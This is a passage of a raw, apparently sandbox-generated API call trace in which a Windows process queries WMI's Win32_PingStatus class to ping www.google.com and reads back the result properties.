[5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59eebd8 | out: ppv=0x59eebd8*=0x5356ec) returned 0x0 [0125.327] CoMarshalInterface (pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5356ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0125.327] WbemLocator:IUnknown:QueryInterface (in: This=0x5356ec, riid=0x59eecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59eecb0 | out: ppvObject=0x59eecb0*=0x514df0) returned 0x0 [0125.334] WbemLocator:IUnknown:Release (This=0x5356ec) returned 0x1 [0125.334] IWbemServices:ExecQuery (in: This=0x514df0, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.google.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59eef1c | out: ppEnum=0x59eef1c*=0x4af298) returned 0x0 [0125.366] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eece8 | out: ppvObject=0x59eece8*=0x4af29c) returned 0x0 [0125.366] IClientSecurity:QueryBlanket (in: This=0x4af29c, pProxy=0x4af298, pAuthnSvc=0x59eed38, pAuthzSvc=0x59eed34, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30, pImpLevel=0x59eed20, pAuthInfo=0x59eed24, pCapabilites=0x59eed28 | out: pAuthnSvc=0x59eed38*=0xa, pAuthzSvc=0x59eed34*=0x0, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30*=0x6, pImpLevel=0x59eed20*=0x2, pAuthInfo=0x59eed24, pCapabilites=0x59eed28*=0x1) returned 0x0 [0125.366] IUnknown:Release (This=0x4af29c) returned 0x1 [0125.366] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecdc | out: ppvObject=0x59eecdc*=0x5357dc) returned 0x0 [0125.366] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecc8 | out: ppvObject=0x59eecc8*=0x4af29c) returned 0x0 [0125.366] IClientSecurity:SetBlanket (This=0x4af29c, pProxy=0x4af298, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.528] IUnknown:Release (This=0x4af29c) returned 0x2 [0125.528] WbemLocator:IUnknown:Release (This=0x5357dc) returned 0x1 [0125.528] CoTaskMemFree (pv=0x4f3e230) [0125.528] IUnknown:AddRef (This=0x4af298) returned 0x2 [0125.529] CoGetContextToken (in: pToken=0x59ee208 | out: pToken=0x59ee208) returned 0x0 [0125.529] IUnknown:QueryInterface (in: This=0x49fc28, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee1c0 | out: ppvObject=0x59ee1c0*=0x49fc34) returned 0x0 [0125.529] IComThreadingInfo:GetCurrentApartmentType (in: This=0x49fc34, pAptType=0x59ee1fc | out: pAptType=0x59ee1fc*=3) returned 0x0 [0125.529] IUnknown:Release (This=0x49fc34) returned 0x0 [0125.529] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4f38a94 | out: ppv=0x4f38a94*=0x49fc28) returned 0x0 [0125.529] CoGetContextToken (in: pToken=0x59ee61c | out: pToken=0x59ee61c) returned 0x0 [0125.529] IUnknown:QueryInterface (in: This=0x4af298, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5b4 | out: ppvObject=0x59ee5b4*=0x5357c4) returned 0x0 [0125.529] WbemLocator:IRpcOptions:Query (in: This=0x5357c4, pPrx=0x4f38a30, dwProperty=2, pdwValue=0x59ee6a8 | out: pdwValue=0x59ee6a8) returned 0x80004002 [0125.530] WbemLocator:IUnknown:Release (This=0x5357c4) returned 0x2 [0125.530] CoGetContextToken (in: pToken=0x59eebec | out: pToken=0x59eebec) returned 0x0 [0125.530] CoGetContextToken (in: pToken=0x59eeb4c | out: pToken=0x59eeb4c) returned 0x0 [0125.530] IUnknown:QueryInterface (in: This=0x4af298, riid=0x59eec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eeae8 | out: ppvObject=0x59eeae8*=0x4af298) returned 0x0 [0125.530] IUnknown:Release (This=0x4af298) returned 0x2 [0125.530] WbemLocator:IUnknown:Release (This=0x514df0) returned 0x0 [0125.530] SysStringLen (param_1=0x0) returned 0x0 [0125.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef68 | out: puCount=0x59eef68*=0x2) returned 0x0 [0125.530] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0x0, pszText=0x0 | out: puBuffLength=0x59eef64*=0xf, pszText=0x0) returned 0x0 [0125.530] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.530] CoGetContextToken (in: pToken=0x59eedbc | out: pToken=0x59eedbc) returned 0x0 [0125.531] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef74 | out: ppEnum=0x59eef74*=0x4af360) returned 0x0 [0125.818] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee30 | out: ppvObject=0x59eee30*=0x4af364) returned 0x0 [0125.818] IClientSecurity:QueryBlanket (in: This=0x4af364, pProxy=0x4af360, pAuthnSvc=0x59eee80, pAuthzSvc=0x59eee7c, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78, pImpLevel=0x59eee68, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70 | out: pAuthnSvc=0x59eee80*=0xa, pAuthzSvc=0x59eee7c*=0x0, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78*=0x6, pImpLevel=0x59eee68*=0x2, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70*=0x1) returned 0x0 [0125.818] IUnknown:Release (This=0x4af364) returned 0x1 [0125.818] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee24 | out: ppvObject=0x59eee24*=0x5356ec) returned 0x0 [0125.818] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee10 | out: ppvObject=0x59eee10*=0x4af364) returned 0x0 [0125.818] IClientSecurity:SetBlanket (This=0x4af364, pProxy=0x4af360, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.842] IUnknown:Release (This=0x4af364) returned 0x2 [0125.842] WbemLocator:IUnknown:Release (This=0x5356ec) returned 0x1 [0125.842] CoTaskMemFree (pv=0x4f3e200) [0125.842] IUnknown:AddRef (This=0x4af360) returned 0x2 [0125.843] CoGetContextToken (in: pToken=0x59ee340 | out: pToken=0x59ee340) returned 0x0 [0125.843] CoGetContextToken (in: pToken=0x59ee754 | out: pToken=0x59ee754) returned 0x0 [0125.843] IUnknown:QueryInterface (in: This=0x4af360, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6ec | out: ppvObject=0x59ee6ec*=0x5356d4) returned 0x0 [0125.843] WbemLocator:IRpcOptions:Query (in: This=0x5356d4, pPrx=0x4f38a60, dwProperty=2, pdwValue=0x59ee7e0 | out: pdwValue=0x59ee7e0) returned 0x80004002 [0125.843] WbemLocator:IUnknown:Release (This=0x5356d4) returned 0x2 [0125.843] CoGetContextToken (in: pToken=0x59eed24 | out: pToken=0x59eed24) returned 0x0 [0125.843] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0125.843] IUnknown:QueryInterface (in: This=0x4af360, riid=0x59eed54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec20 | out: ppvObject=0x59eec20*=0x4af360) returned 0x0 [0125.844] IUnknown:Release (This=0x4af360) returned 0x2 [0125.844] SysStringLen (param_1=0x0) returned 0x0 [0125.845] IEnumWbemClassObject:Reset (This=0x4af360) returned 0x0 [0125.875] CoTaskMemAlloc (cb=0x4) returned 0x4f35d88 [0125.875] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f35d88, puReturned=0x2315558 | out: apObjects=0x4f35d88*=0x4f387a8, puReturned=0x2315558*=0x1) returned 0x0 [0126.719] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5cc | out: ppvObject=0x59ee5cc*=0x4f387a8) returned 0x0 [0126.719] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee580 | out: ppvObject=0x59ee580*=0x0) returned 0x80004002 [0126.719] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee3a8 | out: ppvObject=0x59ee3a8*=0x0) returned 0x80004002 [0126.719] IUnknown:AddRef (This=0x4f387a8) returned 0x3 [0126.719] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59ededc | out: ppvObject=0x59ededc*=0x0) returned 0x80004002 [0126.719] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede8c | out: ppvObject=0x59ede8c*=0x0) returned 0x80004002 [0126.720] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede98 | out: ppvObject=0x59ede98*=0x4f387ac) returned 0x0 [0126.720] IMarshal:GetUnmarshalClass (in: This=0x4f387ac, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59edea0 | out: pCid=0x59edea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0126.720] IUnknown:Release (This=0x4f387ac) returned 0x3 [0126.720] CoGetContextToken (in: pToken=0x59edef8 | out: pToken=0x59edef8) returned 0x0 [0126.720] CoGetContextToken (in: pToken=0x59ee30c | out: pToken=0x59ee30c) returned 0x0 [0126.720] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee38c | out: ppvObject=0x59ee38c*=0x0) returned 0x80004002 [0126.720] IUnknown:Release (This=0x4f387a8) returned 0x2 [0126.720] CoGetContextToken (in: pToken=0x59ee8f4 | out: pToken=0x59ee8f4) returned 0x0 [0126.720] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0126.720] IUnknown:QueryInterface (in: This=0x4f387a8, riid=0x59ee924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee920 | out: ppvObject=0x59ee920*=0x4f387a8) returned 0x0 [0126.720] IUnknown:AddRef (This=0x4f387a8) returned 0x4 [0126.720] IUnknown:Release (This=0x4f387a8) returned 0x3 [0126.720] IUnknown:Release (This=0x4f387a8) returned 0x2 [0126.720] CoTaskMemFree (pv=0x4f35d88) [0126.721] CoGetContextToken (in: pToken=0x59eec64 | out: pToken=0x59eec64) returned 0x0 [0126.721] IUnknown:AddRef (This=0x4f387a8) returned 0x3 [0126.721] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59eef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefe4*=0, plFlavor=0x59eefe0*=0 | out: pVal=0x59eef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59eefe4*=3, plFlavor=0x59eefe0*=64) returned 0x0 [0126.723] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59eef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefcc*=0, plFlavor=0x59eefc8*=0 | out: pVal=0x59eef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59eefcc*=8, plFlavor=0x59eefc8*=64) returned 0x0 [0126.723] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0126.723] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0126.723] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0126.725] SetEvent (hEvent=0x3f0) returned 1 [0126.725] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eef20*=0x4d4, lpdwindex=0x59eed44 | out: lpdwindex=0x59eed44) returned 0x0 [0126.729] CoGetContextToken (in: pToken=0x59eedf4 | out: pToken=0x59eedf4) returned 0x0 [0126.729] CoGetContextToken (in: pToken=0x59eed54 | out: pToken=0x59eed54) returned 0x0 [0126.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x59eee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4da580) returned 0x0 [0126.729] WbemDefPath:IUnknown:AddRef (This=0x4da580) returned 0x3 [0126.729] WbemDefPath:IUnknown:Release (This=0x4da580) returned 0x2 [0126.729] WbemDefPath:IWbemPath:SetText (This=0x4da580, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0126.729] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eefa0 | out: puCount=0x59eefa0*=0x2) returned 0x0 [0126.729] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0x0, pszText=0x0 | out: puBuffLength=0x59eef9c*=0xf, pszText=0x0) returned 0x0 [0126.729] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0126.731] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0126.731] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.731] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Address", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231602c*=0, plFlavor=0x2316030*=0 | out: pVal=0x59eef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x231602c*=8, plFlavor=0x2316030*=0) returned 0x0 [0126.731] SysStringByteLen (bstr="www.google.com") returned 0x1c [0126.731] SysStringByteLen (bstr="www.google.com") returned 0x1c [0126.731] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Address", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231602c*=8, plFlavor=0x2316030*=0 | out: pVal=0x59eef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x231602c*=8, plFlavor=0x2316030*=0) returned 0x0 [0126.731] SysStringByteLen (bstr="www.google.com") returned 0x1c [0126.731] SysStringByteLen (bstr="www.google.com") returned 0x1c [0126.733] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0126.733] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0126.733] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.733] IWbemClassObject:Get (in: This=0x4f387a8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23160e8*=0, plFlavor=0x23160ec*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23160e8*=19, plFlavor=0x23160ec*=0) returned 0x0 [0126.733] IWbemClassObject:Get (in: This=0x4f387a8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23160e8*=19, plFlavor=0x23160ec*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23160e8*=19, plFlavor=0x23160ec*=0) returned 0x0 [0126.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0126.734] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0126.734] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.734] IWbemClassObject:Get (in: This=0x4f387a8, wszName="StatusCode", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231617c*=0, plFlavor=0x2316180*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231617c*=19, plFlavor=0x2316180*=0) returned 0x0 [0126.734] IWbemClassObject:Get (in: This=0x4f387a8, wszName="StatusCode", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231617c*=19, plFlavor=0x2316180*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231617c*=19, plFlavor=0x2316180*=0) returned 0x0 [0126.744] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0126.744] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0126.744] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.744] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317010*=0, plFlavor=0x2317014*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2317010*=8, plFlavor=0x2317014*=64) returned 0x0 [0126.744] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.744] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.744] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317010*=8, plFlavor=0x2317014*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2317010*=8, plFlavor=0x2317014*=64) returned 0x0 [0126.744] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.744] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.745] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23170ac*=0, plFlavor=0x23170b0*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23170ac*=8, plFlavor=0x23170b0*=64) returned 0x0 [0126.745] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.745] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.745] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23170ac*=8, plFlavor=0x23170b0*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23170ac*=8, plFlavor=0x23170b0*=64) returned 0x0 [0126.745] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.745] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.745] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317208*=0, plFlavor=0x231720c*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e2a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f35e68, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), 